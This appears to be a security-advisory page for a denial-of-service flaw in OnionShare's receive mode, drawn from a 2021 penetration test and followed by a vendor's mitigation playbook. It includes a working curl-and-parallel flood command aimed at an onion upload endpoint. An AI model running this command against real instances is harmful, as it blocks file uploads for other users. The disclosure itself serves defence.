GHSA-jh82-c5jw-pxpc
HIGHDenial of Service in Onionshare
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
onionshare-cliReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Between September 26, 2021 and October 8, 2021, Radically Open Security conducted a penetration test of OnionShare 2.4, funded by the Open Technology Fund's Red Team lab.
- Vulnerability ID: OTF-012
- Vulnerability type: Denial of Service
- Threat level: Moderate
Description:
The receive mode limits concurrent uploads to 100 per second and blocks other uploads in the same second, which can be triggered by a simple script.
Technical description:
The following script uses GNU parallel and curl with around 6000 requests in parallel to send 10000 requests. A change in the ulimit -n configuration is required for it to work. This is sufficient to block file upload on a (public) receive instance.
seq 10000 | parallel --max-args 0 --jobs 6000 "curl -i -s -x socks5h://localhost:9150 -k -X $'POST' -H $'Host: csqrp3qciewvj5axph4o62jnr6aevhmpxfkydmi3256bprhbusr2ltid.onion' -H $'Accept-Encoding: gzip, deflate' -H $'Content-Type: multipart/form-data; boundary=---------------------------19182376703918074873375387042' -H $'Content-Length: 329' -H $'Connection: close' --data-binary $'-----------------------------19182376703918074873375387042\x0d\x0aContent-Disposition: form-data; name=\"file[]\"; filename=\"poc.txt\"\x0d\x0aContent-Type: text/plain\x0d\x0a\x0d\x0aA\x0d\x0a-----------------------------19182376703918074873375387042\x0d\x0aContent-Disposition: form-data; name=\"text\"\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------19182376703918074873375387042--\x0d\x0a' $'http://csqrp3qciewvj5axph4o62jnr6aevhmpxfkydmi3256bprhbusr2ltid.onion/upload-ajax'"
Attack duration was around 80 seconds.
Cases where over 99 requests were sent per second:
Every 0.1s: ls | grep... onionvm: Tue Oct 5 12:17:00 2021
78
Cases where files were successfully written to disk:
Every 0.1s: ls | wc -w onionvm: Tue Oct 5 12:17:00 2021
8399
This means that during the attack time 1601 requests of 10000 were dropped. We tried to upload multiple files in the web interface during the attack and were not successful.
The failsafe is used to prevent creating more than 100 directories per second:
The limit of 100 requests/second is significantly lower than the possible network bandwidth and greatly reduces the attack complexity for denial of service. Our test was conducted over the tor network, which showed no limitation for the required bandwidth.
Impact:
An adversary with access to the receive mode can block file upload for others. There is no way to block this attack in public mode due to the anonymity properties of the tor network.
Recommendation:
- Remove this limitation, or
- Derive directory name from milliseconds
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | onionshare-cli | all versions | 2.5 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for onionshare-cli. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update onionshare-cli to 2.5 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-jh82-c5jw-pxpc is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-jh82-c5jw-pxpc is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-jh82-c5jw-pxpc. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-jh82-c5jw-pxpc in your dependencies?
O3 detects GHSA-jh82-c5jw-pxpc across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.